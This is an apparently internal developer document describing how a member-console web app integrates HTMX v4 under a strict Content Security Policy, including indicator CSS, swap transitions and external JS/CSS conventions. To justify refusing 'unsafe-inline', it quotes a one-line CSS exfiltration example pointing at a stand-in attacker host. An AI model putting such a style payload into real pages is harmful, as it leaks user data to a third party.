---
title: "HTMX Setup"
audience: [developer]
summary: "How HTMX is integrated under a strict CSP, and the conventions for adding external JS and CSS to HTMX partials."
---

# HTMX Setup

This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).

## Overview

The member-console uses [HTMX](https://htmx.org/) for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the **HTMX partial pattern**: the server renders HTML fragments that HTMX swaps into the DOM.

### Version

HTMX is vendored as a static asset at `internal/embeds/static/htmx.min.js` (currently v4.0.0; upgraded from v2.0.4 by the `htmx-4` change, 2026-08-31). The migration is complete: no `htmx-2-compat` shim, no `implicitInheritance` flag, and lint fails htmx 2 residue (`hx-disinherit`, camelCase event names, compat references). Attribute inheritance is explicit: only the page shells mark `hx-boost:inherited`; everything else declares its own attributes (see `design-system.md` §7). Requests carry no CSRF token; cross-origin protection is the server's origin check (`internal/middleware/csrf.go`).

### Loading

HTMX is loaded via a `<script defer>` tag in the page templates (`operator.html`, `index.html`, `products.html`, `billing.html`). The `defer` attribute ensures it loads after the DOM is parsed.

## CSP Configuration

The CSP is defined in `internal/middleware/security.go` and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.

### Relevant CSP Directives

```
script-src 'self' https://unpkg.com/htmx.org@*
style-src  'self'
```

- **`script-src`**: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.
- **`style-src`**: Only allows styles from external `.css` files served by our origin. Inline `<style>` tags and `element.style.*` assignments are blocked.

### Why No `'unsafe-inline'`

Adding `'unsafe-inline'` to `script-src` would defeat most XSS protection. For `style-src`, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.

## HTMX + CSP Interaction

HTMX has two behaviors that conflict with a strict `style-src 'self'` policy:

### 1. Indicator Styles (Solved)

htmx 4 delivers its default `.htmx-indicator` CSS through Constructable Stylesheets rather than an injected inline `<style>` tag (which is what used to violate `style-src 'self'` in htmx 2). We still disable it so `app.css` remains the single source of indicator styling:

```html
<meta name="htmx-config" content='{"includeIndicatorCSS": false, "noSwap": [204, 304, 403, "5xx"]}'>
```

(The `noSwap` list is the error-response swap contract; see `design-system.md` §7.)

The equivalent indicator styles are provided in `internal/embeds/static/app.css`:

```css
.htmx-indicator { display: none; }
.htmx-request .htmx-indicator { display: inline-block; }
.htmx-request.htmx-indicator { display: inline-block; }
```

This gives us full control over indicator styling without any CSP violation.

### 2. Swap Transitions (Accepted)

htmx 4 animates swaps through the View Transitions API, which is disabled by default (`htmx.config.transitions = false`) and stays disabled here — content appears instantly, which is also what the deterministic screen captures rely on.

**Why not `'unsafe-inline'` for styles?** While less risky than `'unsafe-inline'` on `script-src`, it still enables CSS-based exfiltration (e.g., `background: url(attacker.com/steal?data=...)`). Nothing in the current setup needs it.

## External JavaScript

All JavaScript must be in external `.js` files under `internal/embeds/static/` to comply with CSP. Never add inline `<script>` tags to templates — they will be silently blocked.

Current external scripts (a representative sample, not exhaustive; see `internal/embeds/static/`):
- `error-handler.js` — HTMX error handling and toast notifications
- `confirm-action-modal.js` — the shared confirm dialog every destructive action opens through (`docs/design-system.md` "Confirm modal")

When adding new interactive behavior to HTMX partials, follow this pattern:
1. Create a new `.js` file in `internal/embeds/static/`
2. Add a `<script defer>` tag to the relevant page template
3. If the script manipulates elements inside HTMX partials, listen for `htmx:after:swap` (or use `htmx.onLoad`) to re-initialize after swaps; htmx 4 event names are colon-separated (`htmx:phase:action`)

## Static Asset Authentication

Static assets under `/static/` are exempted from authentication middleware (`internal/auth/auth.go`). This is necessary because:

- Static assets are public resources (CSS, JS, images, icons)
- Some browser fetches (e.g., `<link rel="manifest">`) use CORS mode with `credentials: 'omit'`, meaning session cookies are not sent
- Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow

## External CSS

All custom styles are in `internal/embeds/static/app.css`. This file consolidates styles that were previously inline `<style>` blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.